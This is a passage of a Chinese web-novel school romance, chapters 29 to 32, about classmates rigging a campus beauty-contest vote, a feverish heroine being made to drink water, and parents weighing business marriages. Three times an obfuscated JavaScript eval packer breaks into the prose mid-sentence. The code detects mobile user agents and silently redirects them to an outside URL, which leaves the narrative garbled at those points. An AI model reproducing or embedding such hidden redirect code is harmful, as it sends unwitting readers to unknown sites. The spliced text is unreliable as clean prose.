陈恕点头,“嗯,去了。”他看着她,在等一个确切的原因。 “啊!!”张期期双眼一瞪,“对不起啊!我昨天发烧了,然后又没有你的联系方式。而且早上雨那么大,我以为你不会出门,还有……还有……我朋友在金河湾附近上培训课,我让他十点钟的时候去广场看看你在不在,你要是在的话,就和你说我生病了。” “然后……他说没有在广场见到你,所以我以为你也没有去!对不起啊!” 张期期一脸着急和歉意,她双手握住陈恕的手腕晃了晃,“你不要生气,好吗?我不是故意的,你是不是等了很久啊?” 陈恕低头,看着拉着他手腕晃动的张期期,她生着病,显得双眼雾蒙蒙的,声音带着轻微的嘶哑。 她仰头看着他,眼神中带着丝丝的不安。 陈恕心一软,他本来就没有生气,“我没有生气,你不来肯定是有原因的,对不对?没道理你故意放我鸽子。” 他没有发现自己低声说着时,语气中带着哄人的意味。 张期期一个劲地点头,“嗯,我肯定不会故意放你鸽子的。” 陈恕微微笑了笑,心里痒痒的,很想伸手摸摸她的发顶,但还是忍住了,“多喝点水,有利于新陈代谢,病也会早点好。” “嗯。”张期期扬头笑着点点头。 - 因为下雨的缘故,大课间的跑操和升旗仪式都取消了。 然而不知道怎的,班里的同学莫名其妙地透露出一种“压抑着兴奋”的氛围,这种氛围之浓烈,让生着病、感觉十分迟钝的张期期都感受到了。 她伸手点了点前方林听的肩膀,林听疑惑地回头,“期期?” 张期期轻声道:“你知道班里的同学怎么了吗?” 林听疑惑地啊了一声,“什么怎么了?”她环顾四周,一切都很正常啊。 与此同时,许兰亭抱着篮球跑进班里后,将篮球放在教室后面的柜子里,他余光扫过正在做题的陈恕,忽然想起来昨天的约,便走过去道:“陈恕,昨天你没去吧?” 陈恕头也不抬地做着题目,他语气淡淡道:“没去。” 许兰亭大松一口气,“哎,我就猜你没去,大清早的,雷暴雨耶,傻子才出门。” 陈恕随意地点头,他正思考着笔下的那道题应该如何解答时,蓦然感受到身旁有如实质般炙热的视线,他侧首,便见张期期对着他笑意盈盈,眼神明了,显然是知道他这个“没去”是嫌麻烦,随便敷衍许兰亭的。 陈恕一顿,也跟着轻 29. 第 29 章 - 张期期向许兰亭拿了链接,准备看一下怎么参加,又怎么进行投票的…… 林听神色为难,感觉这事儿有些出风头,她不太适应,但看张期期这么兴奋,她又不好意思扫兴。 好半响,她还是挣扎道:“期期……选出来的校草校花有什么奖品吗?没有的话,那其实……也没必要的,一个虚名而已。” 她打算用这个理由来劝住张期期。 张期期顿了顿,这才意识到林听可能不太愿意,她啊了一声,眼神带着歉意,“对不起啊,林听,我太兴奋了,忘了问你愿不愿意了。” 许兰亭看了林听、张期期一眼,幽幽出声道:“有奖品哦~应该是贴吧吧主自掏腰包买了三辆大牌子的自行车,校花校草一人一辆自从车,除此之外,还有幸运奖自行车给落选的学生。” 自行车? 张期期愣了一下,“林听,你要自行车不要?” 林听想起自己那辆老旧到一副要散架的自行车,骑快了的话,自行车的链条还会跑出来,她一脸沉痛地点点头,她非常需要。 “要。”林听又道,“但是……我真的觉得我的胜算不大,侯蕊……” 张期期打断她的话,“没关系,不是还有幸运奖吗?到时候兰亭、我、先哥我们都参加,要是抽中我们,自行车也给你,我们人多概率大一点。” 林听重重点头,那行……比起到手的大牌子自行车,出一次“风头”没什么大不了的。 张期期见林听同意了,她又伸出手越过她和陈恕中间的通道,轻轻点了点陈恕的手臂,小声道,“陈恕,你要自行车不要?” 他还没有回答,张期期便道:“白|嫖的自行车,我们干嘛不要?”说完,她又突然改口道:“也不叫白|嫖,这是你凭真本事得来的自行车。” 周嘉先噗呲一声,终于笑了,“期期,你可真是都安排得妥妥当当了啊。” 张期期尴尬地笑了笑。 陈恕沉思,他租的房子到一中需要乘坐两站的公交,若是有自行车的话,上下学路上可以省下4块钱的车费。 他将笔放下,看向张期期,语气平淡,“要怎么参与?” 张期期顿时笑开,她扬了扬手机,“我来给你们弄……” 此时,教室一瞬间安静下来,张期期神色一变,心道不好!她下意识地看向后门。 果不其然,教导主任绷着脸站在后门正看着她扬起的手机。 救大命啊…… 教导主任走进来,二话不说夺过张期期的手机,看着她道:“暂时没收,放学来找我拿。” 张期期苦着脸点头。 等教导主任离开之后,张期期一改方才满脸苦涩的样子,笑嘻嘻道:“快…兰亭,把你手机拿出来,这个课间我们就把这事搞定。” 陈恕惊讶于她神色转变之快,“你……你手机都被没收了。”……怎么好像无动于衷? “我都习惯了。” 张期期随口道,她接过许兰亭递过来的手机摆弄着,又问林听,“你有没有生活照?” 林听微微摇了摇头,“我有证件照行吗?” 她从书包里拿出一张蓝底的证件照照片出来,放在张期期的桌子上。 张期期看了一眼,一锤定音,“就这张,清新脱俗。” 她对着证件照拍拍了一下,随后上传到链接上,“校花选举、抽取幸运奖,都参加!高二重点一班、林听。好了,搞定。” 一旁的陈恕一边听着他们讲话,一边看着数学试卷上的题目,这时,张期期突然喊了一声,“陈恕。” 陈恕下意识地侧首,手机发出一声咔嚓的声音。 照片上,少年手中还握着黑色水笔,神色自然平静地望过来,他五官精致,然而眼神却是淡漠的,中和了那股旖丽的感觉。 张期期满意地看着手中的照片,她反手将照片发给自己,又拿给陈恕看,“我拍得不错吧,就用这张照片行吗?” 陈恕看了一眼,“行。” 张期期笑嘻嘻地将照片上传到链接上,“高二重点一班、陈恕。好了……” 时间掐得刚刚好,张期期刚弄完林听、陈恕的照片,上课铃声就响了起来。 她将手机丢给许兰亭,“你自己的,你晚上再弄吧。我的,我也等拿回我的手机我再弄。” 说罢……她微微侧首看向另外一边的周嘉先,“先哥……你……” 周嘉先什么都没有说,右边写着题目,左手比了一个OK的手势。 张期期顿时笑了,“还有啊,把链接都发到朋友圈,号召你们的朋友给我们投票!”她的话刚说完,英语老师洪玲就走进了教室,她警告地盯了张期期一眼。 张期期迅速自觉地低头,拿出英语课本,翻开,双手交叠,整得一个行云流畅。 洪玲收回目光,“课本翻到42页,我叫个同学起来读一读课文前两个段落。” 张期期一顿,埋头,别叫我……别叫我…… “张期期。” 张期期生无可恋地起身,拿起课本,她一遍辨认着英语单词,一遍读着,遇到不认识的英语单词也含含糊糊自己揣测着读过去。 几分钟后,她读完了,将书放下,一副接下来“任人宰割”的样子。 洪玲沉着脸点点头,“坐下吧。” 张期期悄悄地呼出一口气,坐下了。 陈恕微微侧首,低声安抚她道:“你读得很好。” 张期期愣了愣,一时不敢相信,很好吗…… 这时,洪玲又道:“林听,你接着张期期的读下去……” 林听起身,她用带着英腔的语调,流利地读完了下面的内容。 洪玲微笑着点头,“很好,坐下吧。” 张期期眼巴巴地望着陈恕,陈恕沉默,他是真的觉得她读得很好的,没有一点儿口音,但……听完林听的英腔…… 林听坐下,张期期小声地嘟囔:“他难道是在讽刺我?” 林听偷偷回头,也压低声音道,“不大可能,其实……我上次听过他背诵英语课文,他……口音蛮严重的,所以……估计是这个原因,他觉得你这个正统的中文腔来读英文很正宗。” “啊,这样吗?” “嗯。”林听点头。 下课铃声响起,陈恕站在张期期的身旁,低声道:“水杯,我给你打水。” 张期期愣了愣,拿起还剩半瓶水的水杯,“还有呢!不用打了。” 陈恕低头皱眉,“你怎么没喝完?” ……她该喝完吗?张期期顿了顿,抬头看着对方眼底的认真,斟酌道:“那我现在就喝?” 陈恕微笑着点点头,目光温和地看着张期期炫完了半瓶水,他满意地拿着水杯出了教室去给她打水。 下午。 当陈恕再一次次站在她身旁,低声道,水杯,我给你打水的时候,张期期人都麻了…… 她一节课就得喝一瓶水,一到下课,他就给她打水。 “陈恕,我不想喝水了……”张期期道。 “多喝水,利于新陈代谢,你的温度才能降下去。”陈恕不赞同道。 张期期顿了顿,“喝太多水……我很急。” 陈恕:? 张期期起身推开陈恕,“不行了,我急死了。” 说着,她一溜烟地跑出了教室,往走廊尽头跑去。 走廊尽头,女厕所…… 陈恕顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12693501|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了顿,耳朵后面一片绯红,他攥了攥指尖,假装若无其事地坐回了自己的位置上。 许兰亭笑得直拍大腿,“陈恕,你才是死直男吧。” 陈恕看了狂笑着的对方一眼,他抿了抿唇,他小时候就是靠疯狂地喝水救回了一直在发烧的自己。 - 下午放学后,张期期先去了一趟教导主任的办公室,听了半小时的训之后,成功拿回了自己的手机。 她坐上家里的汽车后,看见不远处许家的车远远地跟在林听的身后,张期简直满头黑线,真是难为许家那位开车的叔叔了,好好的汽车开得比自行车还慢。 回到家之后,她和父母一起吃着晚饭。 饭桌上。 戚和风皱着眉头,伸手又摸了摸张期期的额头,“还是有点儿热,不然明天请一天假吧。” 张世明同样眉心微皱,打量着低头吃饭的女儿,“怎么搞的,着凉了?” 戚和风无奈道,“昨天起风,她忘记关窗了。” 张期期将嘴里的鸭肉咽下去,“爸妈,我没事,真不用请假。现在学业这么重,请一天假在家里也是学习,还不如在学校呢。” “在家里就好好休息一天,学业没有那么着急的。”张世明说道。 戚和风在一旁附和着,张期期还是摇了摇头,“真不用了,爸妈。” “行了。听爸的,明天要是还没有退热,就别去学校了。”张世明一锤定音。 张期期张了张口,好半响只能道:“那好吧,爸爸。” 吃完饭,张期期洗了个热水澡之后从浴室出来,她躺在房间的沙发上,将上午用许兰亭的手机发给自己的那张陈恕的照片保存了下来。 少女发尾微微湿润,她看着陈恕的照片,双手划动着屏幕,将照片放大放大再放大,少年的面容占据了整个手机屏幕。看着看着,张期期突然满脸通红,不知道想到什么,翻个身双膝跪着趴在沙发上,一脸无地自容的样子。 好一会儿,她平复了心情,重新半躺在沙发上,翻找着手机相册里的照片,找到一张自己最满意的照片之后,点开链接,将自己的照片上传。 随后,她又发信息给许兰亭、周嘉先,嘱咐他们俩也参加校花校草的选举,幸运奖抽取,最后,她再将校花校草的链接转发到朋友圈,让广大朋友们给【35】【41】号投票。 【35】林听。 【41】陈恕。 - 夜幕渐沉,许家。 电脑屏幕上散发着淡淡的光芒,许兰亭的聊天软件滴滴滴地响着。 「吧主:校花校草的选举,大概会在一周后结束,到时候记得兑换你说的奖品啊!」 「吧主:是你说的啊,你提供三辆大牌子的自行车。」 「吧主:不过,校花校草一人一辆就可以了,你搞个幸运奖是怎么回事啊?有点多此一举啊!幸运奖那位骑着那辆单车,岂不是昭告大家她是校花校草落选的?」 「吧主:你这幸运奖,我感觉没人要的。」 …… 许兰亭顿了顿,哪里会没人要……林听一定要。 电脑屏幕前,他频繁地将链接转发给每一位好友,并发送上红包,拜托他们帮她投票林听的校花选举,且帮她幸运奖助力,提高被抽取到的概率。 在淡蓝色的屏幕幽光中,许兰亭蓦然想起那一幕: 坑坑洼洼的小道上,少女踩着自行车七拐八拐、极力地躲避着暗坑,然而车轮还是一不小心陷入暗坑中,车辆一个咯噔,车链就掉了出来。 少女踩了两下,意识到不对劲,只能下车将车推到一旁修理起来,等她将车链安回原来的位置时,她的双手都沾染上了又脏又黑又黏腻的机油。 30. 第 30 章 - 校花校草的选举,她上传了照片和填写了信息,搞定! 张期期随手将手机丢在一旁,看了一眼桌子上的时钟,现在已经是晚上八点多了。她摸了摸自己的额头,好像……不算很热,明天应该可以上学吧。 张期期想到她爸那坚决的话语,顿了顿,起身装了一大杯水放在桌子旁慢慢喝着,一边喝着,一边刷着试卷,再频繁地跑厕所。 压在最底下的是一张英语试卷,张期期终于刷到了这一张,填写了一篇阅读理解之后,她蓦然陷入了沉思。 今天下午上课时林听说的话仿佛回响在耳边…… 陈恕的英语口语那么烂吗?想到这儿,张期期突然意识到,对哦~她好像没有听过陈恕读英语单词。 张期期沉沉地叹了一口气,她有心想帮助陈恕,但她对比起对方来,完全就是五十步笑百步。 “明天问问林听吧。”她苦着脸边刷着试卷,边嘟嘟囔囔道。 * 次日,周二。 清晨雾气浓重,凝结成水珠从树叶上颗颗滴落,房间的玻璃窗上朦胧一片。 张期期悄悄地从床上起身,她拿出柜子里的电子体温计先给自己测了测温度,37度8……不算高烧,但也没到正常的温度。 她长叹一声,走进卫生间梳洗一番之后才出来,随后换上校服校裤,背上书包,神色忐忑地轻轻拧开房门,连电梯也不敢坐就踮起脚尖偷偷溜下了一楼。 莲姨已经将她的早餐打包好了,李叔的汽车也在门外候着了。 莲姨小声道:“先生太太还没醒,醒了的话,我会和他们说你退烧了。莲姨帮了你,你在学校可要多喝水,放学回来烧要是退了,那莲姨也不算说谎。” “谢谢莲姨。莲姨你真好。”张期期笑着小声道,她接过早餐悄悄溜出了家门。 李叔:“期期,快上车。” 张期期比划了个OK,颠颠颠地拉开车门,上车,放下书包,啃上一口早餐包,一气呵成。 汽车打开橘黄色的车灯,在浓重的雾气中扬长而去。 别墅楼上,窗帘被拉开,男人搂着女人站在窗前望着远去的汽车。 张世明无奈地摇摇头,笑道:“她还真以为能骗过我……” 戚和风柔声细语:“她想去学校就去吧,我们期期可一点儿都不娇气,也没有那些坏毛病。她愿意靠自己努力也很好。” 张世明笑着点头,“是这个道理。” 说着,他突然面露犹豫,“和风,你觉得陆家和许家的孩子怎么样?” “都挺好的啊,和期期也玩得不错。你怎么突然问这个?”期和风微微侧身,看向一旁的丈夫,片刻后,她蓦然惊道:“你该不会……想撮合他们吧?” 张世明:“这不好吗?陆家、许家的孩子也算是在我们眼皮底子下长大的,品行也都不错,没有什么坏毛病。你不是也觉得他们不错吗?” 戚和风还是觉得难以接受,“……好是好,但期期才多大啊,现在说这个是不是太早了?” 在她的预想里,自己的孩子谈感情肯定要上了大学之后才谈,而且也应该是作为年轻的女孩子一样去自由地经历谈恋爱、失恋,谈个几次之后,才真正地明白自己适合和什么样的人走入婚姻、共同度过一生,而不是早早地参杂了成年人的利益。 张世明笑着道:“不早了,杨家的女儿和盛家的儿子之间已经是圈内板上钉钉的事情了。他们也才比期期大一岁而已。” 杨家的女儿正是杨夏。 “杨、盛两家联姻,将来两家的企业必然是更上一层楼的,当年杨家、盛家同样也是因为联姻才挤入上层圈子的。期期是我的女儿,将来也要继承张家,张家更上一层楼的责任就在她的身上。” 张世明说着说着,长长地叹了一口气,“最近我越来越感到有心无力了,张家要往上再跨一个阶层,只能寄托在期期的婚事上了。” “算了……不说这个了。再等等吧,等期期高三毕业后再说吧。时间还早,你再睡一会儿,我要去公司了。”张世明轻轻拍了拍戚和风的肩膀,语气疲倦地道。 房门被打开又关上,戚和风躺在床上,却一点儿睡意都没有,翻来覆去地琢磨着丈夫的话。 他那长长的叹气声好像叹在了她的心上……他是什么意思?他是后悔了吗? 戚和风忍不住想……如果当年他没有娶她,而是顺从家族联姻,今天他是不是就不会这么叹着气了? 真爱无价……那是她年少时坚信不疑的观点。她曾经引以为傲的“自由恋爱”“跨越阶层的恋爱”好像在十几年后、在利益面前渐渐显露出脆弱的模样…… * 京照一中。 早上不到七点半,张期期就到了教室。 周嘉先抬眼看见她,“稀奇啊!你不是一向踩点到教室的吗?” 张期期笑了笑,选择胡说八道,“从今天起,我准备头悬梁锥刺股,冲击先哥你的排名。” 周嘉先嘴角的笑容微僵,“不是吧?你来真的啊?” 他顿时危机感满满……毕竟张期期的英语再烂,但她其他科目逆天啊…… 张期期笑容满面,“这样吧……先哥,一天三票,一票给陈恕、一票给林听,另外一票随便你,我就把我其他科目的考试宝典借你。怎么样?” 周嘉先乐了,“成交!” 张期期坐下,往桌子里找出了几本小本子递给了一旁的周嘉先。 她的指尖在手机屏幕上戳戳点点,点开校花校草的投票链接,顿时惊呼一声,“哇~陈恕的票简直遥遥领先!” 周嘉先搭话,“我早上起来就看到了,所以我那一票其实没多大作用。” 这时,许兰亭从后门走进来,一听便道:“看不出来啊,先哥,原来你这么关注校花校草的选举啊,这和你不太搭啊?” 周嘉先:…… 他也不想的,但他家继妹没有手机,却非常关注这个选举,一大早的就闯入他的房间,非要用他的手机看票数。 许兰亭到教室之后,林听和陈恕也一前一后地进了教室。 张期期笑着招呼他们两人,“陈恕、林听,快过来看看你们俩的票数。” 陈恕脚步顿了顿,微微点头道:“等会。” 他坐在自己的位置上,抿了抿唇,犹豫着从书包里拿出来一个超大的吸管水杯,“我先去装点水。” 此时的林听已经反身坐着,面向张期期,几人正头凑在一起,一起看着选举的票数。 闻言,几人下意识地望向陈恕,目光纷纷一滞。 张期期&林听&许兰亭:…… 周嘉先:…… 陈恕抿唇,走出了教室。 许兰亭不确定道:“他去装点水?点水……他确定?”……那吸管杯起码有五升的容量。 林听狐疑的目光停在张期期桌面上的迷你杯子,“陈恕那个杯子……该不会是给你准备的吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12705510|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张期期大惊失色,“不是吧?我又不是水桶。” 周嘉先、许兰亭哈哈大笑,对张期期报以节哀的神色。 林听也忍着笑,“不过,你还在发烧的话,是要多喝水。你这个迷你杯子,就算装满了,也才几口而已。” 张期期扶住额头,人麻了……真的麻了……她是那种一喝水就要上厕所的体质,所以她才买迷你的小杯子。 几分钟之后,陈恕抱着巨大的水杯回来了。 许兰亭几人憋着笑意看着陈恕,陈恕扫视他们几人一眼,神色平淡地走到张期期的身边,将那个存在感极强的吸管杯放在张期期的桌子上。 陈恕:“杯子是新的。” 张期期一噎,真是给她的…… 她抬眼见他神色认真,便不由地正色几分,“陈恕……我一节课喝不下这么大的一瓶水。” 陈恕:“……没让你一节课都喝完。” 张期期霎时松了一口气,“那就好,谢谢你啊。” 她搬过那瓶水,打开盖子,咬着硅胶吸管,喝了几大口,后道:“快,陈恕。看看你的票数。” 陈恕俯身凑近她,看着她的手机页面,他的照片已经被推到了第一排第一个的位置,而紧跟在他身后的是……陆向川。 这个人……陈恕的目光一滞,他抿了抿唇,即便他没有和这个人真正地说过话,但对方对他的敌意是非常明显的。而他向来对这种情绪非常敏感,所以只是在校园偶然的擦肩而过,他也能感受到。 陈恕点点头,“我看到了。还行。” 许兰亭夸张似的惊呼一声,“这叫还行??这完全就是碾压吧。” 陈恕嘴角挂起礼貌的笑意,他看了一眼许兰亭之后,又对着张期期轻声道:“记得多喝水。” 张期期:“啊……好。” - 另一边,高二国际班。 陆向川低着头,手机放在书桌内,他右手戳戳点点着,一通操作下来,他发现自己的票数还是远远低于陈恕。 陆向川的脸色变得格外阴沉,哐当一声把手机甩在了桌面上,身体往后靠着,双手抱胸,一副极为不爽的模样。 此时,他的同桌黄锐勾着他的肩膀,笑着道:“这是怎么了,我们陆大少爷怎么生气了?” 黄锐的目光慢慢转移到陆向川的手机页面上——校花校草的选举,陆向川的照片赫然在其上。 黄锐大笑,“这玩意儿你也参加?”他佯装思考的模样,“这玩意儿的奖品是什么来着?哦……一辆自行车。” 他狂笑着,“不是?噗哈哈哈,你要这自行车?你没毛病吧……要不我送你一辆咯。” 陆向川冷笑着,将身旁的人推开,“滚!我要的是校草的名号,难道一中我不是最帅的?” 黄锐笑声一顿,啊……这……这个…… 陆向川死亡盯…… 黄锐摸了一把脸,委婉道:“我们家……哦不,你家你家,你家这么有钱,容貌这样的事情有啥可在意的,只要你有钱,多得是妹子喜欢你。” 陆向川:……“要是我喜欢的女生家里也很有钱呢?” 黄锐不在意道:“那肯定很多男生喜欢她。” 陆向川若有所思地点点头,有道理,原来如此……看来陈恕是想靠着期期一步登天,也是,张家在圈子里也是有头有脸的。 “我懂了……”他道。 黄锐:??? 他懂什么了??? 31. 第 31 章 - 上午大课间的跑操再次因为降雨被取消,班主任张扬将教室前面的角落里悬挂着的电视机打开,按到气象台频道。 “……预计未来一周我市将出现大暴雨强降雨天气,雨水降水量较大,气象台提醒市民出行应当小心,远离局部有可能因强降雨出现山体滑坡事故的地方……” 气象台播报结束之后,张扬又按到新闻频道。 “……国家领导人针对新农村的建设提出以下几个方针……” 班级里同学们窃窃私语着,神色兴奋地计算着什么,甚至还时不时回过头去望着陈恕,张扬站在讲台上将这一幕看得清清楚楚。 他指尖扣了扣讲台桌面,沉声道:“干什么呢你们?往后看什么,电视机在前面,国家新闻你们要上心啊,虽然你们不是文科班的,但学语文也是要关注这一点的。” 许兰亭生无可恋地啊了一声,“老师,这是大课间,就算不用跑操吧,这也是下课时间啊,能不能给我们娱乐一下,要不……您按到星空台给我们看看动漫?” 张扬眉毛一竖,拿出粉笔准确地丢到他的桌面上,“想得真美。” 许兰亭嘿嘿笑着,将接到的白色粉笔往前传,传回给班主任张扬。 - 大课间快要结束,准备上第三节课的时候,张扬才将电视机关掉,“要上卫生间的,现在赶紧去上。”然后他在全班同学的目光下将遥控器攥在手心里走出了教室。 班里的同学哀嚎一声,他们原本打算班主任张扬要是忘记带回遥控器,那他们中午就可以在教室里看电视了。 走出教室的张扬听着身后教室传来的哀嚎声,又气又好笑,“这群小兔崽子。” 许兰亭一拍桌子,站起来大声道:“没关系,道高一尺魔高一丈!我就不相信没有办法!” 英语课代表雷婷嘴角挂上大大的笑容,好奇问道:“你有什么好办法?” 许兰亭一噎,此刻几乎全班同学都在看着他,他硬着头皮道:“或许我们可以和隔壁借一下遥控器。” 班上大多数同学闻言“切”了一声,纷纷甩了个白眼给他。 雷婷:“应该不能用吧?” 许兰亭:“可以吧……学校的电视机都是一样的牌子。我过去借一下回来试试就知道了。”说完他大步跑出了教室。 没过一分钟,许兰亭摸了摸后脑勺,神色焉焉地回来了,“隔壁班的遥控器也被他们班主任收走了。” 这话一落,一时间班级里充满唉声叹气,没戏咯……对于此时的少年少女们啊,这是一件大事。 张期期咬着吸管喝着水,眼眸带着笑意地望着班级里的这一幕,她喝完水后,轻轻喊了一声:“林听……上厕所吗?” 林听点头,“好啊。” 两人手挽着手走出教室,一会儿后,长相明媚漂亮的女生身旁跟着另外两个女生也走出了教室。 - 女生卫生间。 张期期从隔间厕所里走出来,打开水龙头洗着手,林听站在她的身边等着她。 张期期笑着说,“你都不用上厕所,干嘛跟着我出来一趟,我上厕所倒也不用别人陪的嘛。” 林听也笑了,“没事,我就出来走走也行。” 张期期更是笑了,“来厕所走走?” 两人四目相对,顿时忍俊不禁。 张期期洗完手,甩干之后,又挽着林听走出去,迎面撞见了侯蕊带着班上另外两个女生。 侯蕊挣脱她朋友的手臂,上前挡住张期期的路,她瞪着眼一副气势汹汹的模样,“张期期!” 林听皱起眉头,伸手将张期期拦在自己身后,“侯蕊,你有什么事吗?” ……这架势、这阵仗、这地点,林听并不是一无所觉,父母双亡的她看上去是个能够让人肆无忌惮欺负的人,曾经她就险些遭遇好几次的“厕所霸凌”,只不过,她们都看错了,她并不是一个别人能霸凌的对象。 侯蕊倪着林听,神色不满,“我和张期期说话,有你什么事啊?” 她身旁的两名女生挤眉弄眼,心中翻译着……张期期对我好的时候,你还不知道在哪儿呢!……真的好酸啊,两人心道。 张期期顺势伸手抱住林听挡在她前面的手,神色又温和地拍了拍,“没事的。” 说完,她看向侯蕊,眼神非常认真,“侯蕊,林听也是我的朋友,请你礼貌一点。” 侯蕊抱胸,轻哼一声,“那她刚才一副我要怎么了你的样子干嘛,她怎么就觉得我会欺负你……她还冤枉,随意揣测我呢!你怎么不说她!” 一字一句,“咄咄逼人”,却又仿佛很委屈一样。 张期期无奈道:“好了,你们都是我的朋友,大家好好相处可以吗?” 林听点点头,“当然可以。” 侯蕊看了张期期一眼,不情不愿道:“行吧。” 张期期:“那你找我什么事?” “……那个,校花校草不是在评选吗?你能不能投我一票。”侯蕊犹犹豫豫地说着。 这时,站在她身后的两个女生突然围上来一左一右地挽住侯蕊的左右手臂,急忙道:“期期,一人每天就三张票,侯蕊每天都给你投一票的哦,还有林听,她也给你投了。” 闻言,林听顿时神色惊愕,“你……”她居然还给她投了? 侯蕊象征性地挣了挣脱她朋友们的禁锢,“好烦啊,你们说这个干嘛……” 两个女生笑嘻嘻的,“我们就随便说说啊。哈哈哈……” 张期期一直笑意盈盈地望着她们,“侯蕊,你的票数我看了,根本不缺我那一票。” 侯蕊一听,嘴角微扬,“你看我的票数了?” “看了。” 她顿时眼眸绽放出明媚的笑意,“谁说我不需要你那一票!多多益善你懂不懂啊!” 张期期投降般,“好好好!需要需要!其实我每天都有给你投的。” “真的!!?” “真的。”张期期笑着。 侯蕊满意了,张期期和林听终于得以离开女生卫生间,临走前,林听回头对着侯蕊微微颔首,“谢谢你给我投票。” 她抱胸,酷酷地“嗯”了一声,她看着她们两人的身影消失在厕所的拐角。 “侯蕊……其实我不太明白,你们之前关系不挺好的吗?我看你也挺喜欢和期期当朋友的,但你怎么……怎么那么别扭呢?” ……既想和人家当朋友,行动上又疏远对方,有时候却又巴巴地跑上前,却不愿意说句真心话。 “对啊,我都不知道你们俩是怎么回事了,当时期期对你惊为天人,想和你当朋友,你们一开始也焦不离孟的,怎么后来你又不搭理期期了,我还以为是期期惹你生气了,但……期期不是那样的人,你的表现好像也不是那么回事……” 此刻,双手抱胸,微微扬着下巴的侯蕊垂下了眼眸,眼皮遮住了眼底的复杂。 期期,她绚烂夺目,如清风,如温水,一开始和她相处是闲适的、自在的、快乐的,但她和她之间是有差距的……这世界上,友情、亲情、爱情,都是需要等价交换的,她向来便是这么觉得。 和期期越相处越开心,但她越感觉差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12746162|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距如此之大,她随手给出的礼物对她来说却是那么的沉重,她对她的好是那么真挚,但她又能给对方什么…… 所以……越相处,她越不自在,越愧疚,越难安,索性就不要当好朋友了吧……但当看到她身旁有另外的朋友了,她又不那么甘心。 “侯蕊?” 侯蕊顿了顿,回过神来,低声道:“和她当朋友,我总有一种踩在空中楼阁上的感觉。” “啊?” “那和我们当朋友,是不是就觉得脚踏实地啊!!” “哈哈哈……”两个女生一左一右地抱住她的手臂哈哈大笑道。 侯蕊噗呲一笑,“走走走,上厕所……” 三人笑闹着挤着走进卫生间的外门,侯蕊回头望了一眼……期期很好,她又看向身旁的两个女生,当然,她们也很好。 * 另一边,张期期和林听走在长长的走廊上,走廊的一侧是一整排的教室,教室内是或俯首看书、或追逐打闹的学生们,另一侧是湿漉漉、灰蒙蒙的阴天。 林听挽着张期期的胳膊,她犹豫了半响,最终还是试探着问:“期期,你和侯蕊是发生过什么矛盾吗?” 高一的时候,期期和侯蕊形影不离的一幕幕她印象深刻。 期期微微垂眸,她抿了抿唇,低声道:“其实……我也是后来才发觉的,她和我当朋友时心理上有很大的负担。” 说着,她微微扬起笑意,“既然这样,那她开心最重要了,不当很好的朋友也没关系,我和她还是同学,还是朋友。” 林听微滞,片刻后,她想她明白侯蕊的心情了,她和侯蕊其实很像……但比之侯蕊,她的心脏更强大。 “嗯,反正还是在一个班级里。”林听道。 两人走进教室的时候,陈恕正翻阅着上一届物理竞赛联赛和决赛的题目,周嘉先将自己的椅子拖到陈恕和张期期座位之间的通道处,也低着头和陈恕谈论着什么。 有点稀奇啊……张期期又看了一眼陈恕前桌的许兰亭,对方眼神中带着三分懵逼、三分崩溃、四分不知所措。 张期期忍不住直笑,道:“兰亭,你怎么了?” 许兰亭像是突然找到了可以吐槽的人,他激动道,“期期……这两人真的没天理啊,他们的存在就是在碾压我们普通人啊!” 张期期:哈??? 她走过去,站在陈恕的身边,看着他桌面上的题目以及计算草稿,“你们在算第七道题目?” 周嘉先点头,“是,这是去年物理联赛的题目,老师拿给我们的,暂时没有给我们答案,所以这一道题目我和陈恕有点分歧。” 哦……原来如此……张期期沉思着点点头,向陈恕伸出手,陈恕神色自然地将黑色水笔放在她的手心。 她拿过笔,微微弯下腰,在草稿纸上计算着…… 她靠得非常近,陈恕浑身一僵,随着她笔下不停,她的发丝微微晃动,无意识地擦过他的额角。 张期期算出了答案,再分别看了看陈恕、周嘉先面前的草稿纸,兀自点头肯定道,“我的答案和陈恕是一样的。先哥……你第四步的步骤,我感觉是有点问题的。” 周嘉先:“我的步骤有问题?不行,你跟我讲讲先……” 张期期点了点头,指给他看,又在草稿纸上写写画画,“你看这里……我觉得应该先这么算……” 林听听他们在讲,也转身从自己的位置上拿过草稿本,边听边跟着计算着,陷入了思考的模样… 许兰亭:……(仿佛在听天书。) ……呵,合着小丑竟是我自己! 32. 第 32 章 - 大概几分钟之后,周嘉先便恍然大悟地点点头,“原来是这样!我太心急了,应该先算出7这个数字再代入公式的。” 林听将本子合上,她也听懂了…… 题目讲完之后,张期期才问:“你们怎么在做上一届物理竞赛的题目?难道你们准备参加这一届的?” 